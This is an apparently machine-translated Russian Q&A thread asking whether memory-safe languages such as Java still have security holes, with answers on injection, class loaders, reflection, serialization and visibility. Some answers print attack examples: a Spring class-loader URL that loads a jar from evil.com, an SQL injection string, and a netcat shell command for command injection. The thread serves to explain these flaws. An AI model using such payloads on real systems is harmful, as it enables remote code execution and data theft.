Поддержки безопасности на "безопасных" языках

Недавно я закончил читать Secure Coding на C и С++ Брайаном Сиакдом, который работает для CERT.

В целом, это отличная книга, и я бы рекомендовал ее любому программисту, который еще не прочитал ее. После прочтения мне приходит в голову, что для всех различных типов уязвимостей безопасности (таких как эксплоит кода эксплойта, переполнение буфера, переполнение целого числа, уязвимости форматирования строк и т.д.) Каждое отверстие безопасности, похоже, сводится к одному: возможность доступа к адресу памяти, который не ограничен буфером, который был законно выделен процессом.

Возможность вводить вредоносный код или перенаправлять логику программы полностью зависит от возможности доступа к адресам памяти, которые попадают за пределы допустимых буферов. Но на языке, подобном Java, это просто невозможно. Самое худшее, что может случиться, - это завершение программы с помощью ArrayIndexOutOfBoundsException, что приведет к отказу в обслуживании.

Таким образом, существуют ли какие-либо уязвимости безопасности на "безопасных" языках, таких как Java, где недопустимые обращения к памяти невозможны? (Я использую Java в качестве примера здесь, но на самом деле мне интересно знать об уязвимостях безопасности на любом языке, который предотвращает недопустимые обращения к памяти.)

Ответ 1

Конечно, книга, посвященная C/С++, будет посвящена наиболее распространенному эксплойту. Трюки памяти в стеке и так далее.

Что касается "очевидного" примера языка с большим количеством защитных кавалов без прямого доступа к памяти... hows PHP? Помимо обычных XSS, CSRF и SQL-инъекций, вы получаете удаленный ввод кода в более ранние версии PHP из-за включения магии и т.д. Я уверен, что есть примеры Java, но я не эксперт по безопасности Java...

Но поскольку эксперты Java Security действительно существуют, я уверен, что есть случаи, о которых вам нужно беспокоиться. (в частности, я уверен, что SQL-инъекция также поражает наивных веб-разработчиков Java).

РЕДАКТИРОВАТЬ: с моей головы у Java есть динамическая загрузка классов через ClassLoader. Если по какой-то причине вы должны были написать пользовательский загрузчик классов, и вы не проверили файлы .class, вы бы открыли свою программу до ввода кода. Если этот пользовательский загрузчик классов каким-то образом читает классы из Интернета, тогда также возможно иметь удаленные инъекции кода. И, как ни странно, это довольно часто. Рассмотрим Eclipse и его плагиновую структуру. Очень буквально загружается загруженный код автоматически, а затем выполняется. Я признаю, что я не знаю архитектуры Eclipse, но я уверен, что безопасность является проблемой для разработчиков плагинов Eclipse.

Ответ 2

Возможность вводить вредоносный код или перенаправлять логику программы полностью зависит от возможности доступа к адресам памяти, которые попадают за пределы допустимых буферов.

Это поражает меня как узкое представление о том, что есть и не является злым. Например, SQL Injection (или даже любой тип инъекции) не требует переполнения буфера и обычно вводит вредоносный код в вашу систему. Однако это, безусловно, возможно; например, некоторые управляемые языки позволят символу NULL в середине их управляемых строковых классов. Были интересные ошибки, когда строка передавалась в базовую ОС, где API управляется C/С++ и, таким образом, обрезает строку в первом \0, который она находит, что, например, может позволить вам перемещаться по файловой системе по желанию из-за ошибок усечения.

Тогда там плохое шифрование, утечка информации и всевозможные другие опасные ошибки безопасности, которые не связаны с буферами...

Ответ 3

Да. Это произошло больше чем один раз. Просто потому, что язык затрудняет внесение недопустимого доступа к памяти, он автоматически не защищает вас от атак. Кроме того, есть и вся "социальная инженерия", которая может заставить пользователей запускать вредоносные программы, не требуя каких-либо эксплойтов вообще!

Лучшее, что вы можете сделать, это обновить программное обеспечение, использовать методы программирования, которые уменьшают количество ошибок, исправляют серьезные ошибки сразу же после их обнаружения и обучения пользователей.

Ответ 4

Здесь интересная дыра в безопасности, скорее всего, гораздо более вероятна в Java-системе, чем в С++-системе:

предположим, что веб-каркас использует отражение для установки полей объектов из параметров URL

/update?a=1&b[2]=2&c.x=3&c.y=4

очень удобный и мощный. он позволяет обходить любой объектный граф...

когда злоумышленник передает ему URL-адрес, подобный этому

/update?class.classLoader.ucp.urls.elementData[0]=http://evil.com/evil.jar

игра. вся система находится под контролем злоумышленника.

см. http://seclists.org/fulldisclosure/2010/Jun/456

и я не думаю, что это произошло только с Spring. Есть много систем Java, которые довольно сильно обнажают их животы в открытом мире.

Ответ 5

От собственного Sun Защищенные правила кодирования для языка программирования Java версии 3.0:

Платформа Java имеет свою уникальную набор проблем безопасности. Один из его основные соображения дизайна обеспечить безопасную среду для выполнение мобильного кода. Хотя Java архитектура безопасности может защитить пользователей и систем от враждебных программы, загруженные через сеть, не может защищаться от реализации ошибки, которые встречаются в надежном коде. такие ошибки могут непреднамеренно что архитектура безопасности был разработан, чтобы содержать...

Ответ 6

Неконтролируемый ввод пользователя может привести к большому количеству дыр в безопасности:

 stmt.executeQuery("SELECT * FROM Users where userName='" + userName + "'");

Если userName не проверяется и исходит из внешнего источника, кто-то может легко предоставить свое имя пользователя как "john' or userName != '". Приводя к экспорту всех данных в вашей таблице.

Runtime.getRuntime().exec(command);

То же самое здесь. Если команда не проверена и поступает из внешнего источника, кто-то умный мог бы запустить say "/bin/sh | nc -l 10000" или тому подобное, получая доступ к оболочке на сервере. Или введите исходную программу C, использующую локальное отверстие безопасности, и command скомпилируйте и запустите его прямо на сервере.

Ответ 7

Таким образом, реализация виртуальной машины просто становится тем, что вам нужно, чтобы найти уязвимость. И если вы считаете, что блокировка реализаций виртуальных машин проста, прочитайте эту удивительную учетную запись о деталях эксплойта для виртуальной машины Action Script и подумайте, не могли бы вы действительно гарантировать, что такие дыры не существовали.

Ответ 8

Там много эксплойтов безопасности, которые могут затронуть практически любой язык - некоторые старые подвига, некоторые новые.

Примером эксплойта старой школы будет создание временного файла с небезопасными разрешениями или в небезопасном каталоге, что приведет к утечке информации или злоумышленнику, вставляющему свою собственную информацию.

Использование эксплойтов SQL-инъекций уже давно существует (т.е. передача неутвержденного текста от пользователя в парсер SQL).

Атаки типа XSS относительно новы и легко создаются на любом языке программирования сервера.

Ответ 9

Java более безопасна, чем С++ в эксплойтах памяти (из-за явной проверки привязки к языку). Это исключает категорию эксплойтов переполнения буфера.
НО java не совсем безопасно.
Возможности встроенного языка для уверенности программиста могут быть использованы как часть вредоносной атаки. Например. используя отражение, программа может узнать значения переменных класса и изменить их (есть способы переопределить менеджера безопасности - по крайней мере, так я прочитал).
Сериализация имеет проблемы (проверка уязвимостей RMI), и многие программисты API используют без проблем, что может привести к плохому. Например. API, которые используют наш программный загрузчик классов для загрузки "ненадежных"? библиотеки.

Ответ 10

Множество программных уязвимостей безопасности можно классифицировать как атаки на инъекции, характерные для данного языка или структуры. Вы специально читали об атаках на инъекции в С++, посредством чего пользователь может вводить код через переполнение буфера или уязвимость форматирования строки. Если вы продолжите исследование в HTML, вы обнаружите, что межсайтовый скриптинг (инъекция JS-кода) и SQL-инъекция (инъекция SQL-запросов) довольно распространены. Взгляните на PHP, и вы заметите, что инъекция на уровне команд обычно является обычной проблемой.

В конечном итоге каждый язык и структура имеют свои проблемы. Имейте в виду их. И, конечно же, ошибки безопасности бизнес-логики будут по-прежнему существовать независимо от языка, структуры или ОС, которые вы используете. Например, корзина для покупок, которая позволяет отрицательное количество предметов, которые будут приобретены для отрицательной общей суммы, будет проблемой безопасности просто из-за плохих навыков программирования.

Ответ 11

Программы Java не работают на воздухе. Это целая платформа, и программисты этой платформы просто люди, которые делают ошибки программирования. Хотя ваш Java-код сам по себе может быть безопасным, вам нужна платформа для его запуска, открывая другие атаки.

Ответ 12

Я разочарован тем, что этот вопрос не упоминался, поскольку вопрос относится к Java, который особенно уязвим для такого рода надзора:

В java Видимость - это ключевая проблема для разработчика программного обеспечения, который пытается обеспечить безопасность своего кода. Особенно в контексте расширяемых фреймворков, где я часто использую "чужой" код, жизненно важно, чтобы я не переэкспонировал информацию, на которую я доверяю как действительную.

Если я сделал что-то публичное, которое должно, по сути, быть частным, я представляю потенциальную уязвимость. Если я передам ссылку на объект, который я активно использую вместо защитной копии, я могу случайно представить данные, к которым обычный пользователь не должен иметь доступ. Иногда вы хотите, чтобы у пользователя была ссылка, а не копия, но если это часть данных, которая выживает какое-то время, вы захотите рассмотреть возможность создания копии, чтобы убедиться, что вы получили контроль над данными из этот момент вперед.

Предоставление кому-то ссылки на поле данных элемента в классе, который я рассматриваю как неизменяемый, может вызвать интересное или странное поведение. После того, как я проверил проверку действительности и обработал ее, данные могут быть изменены.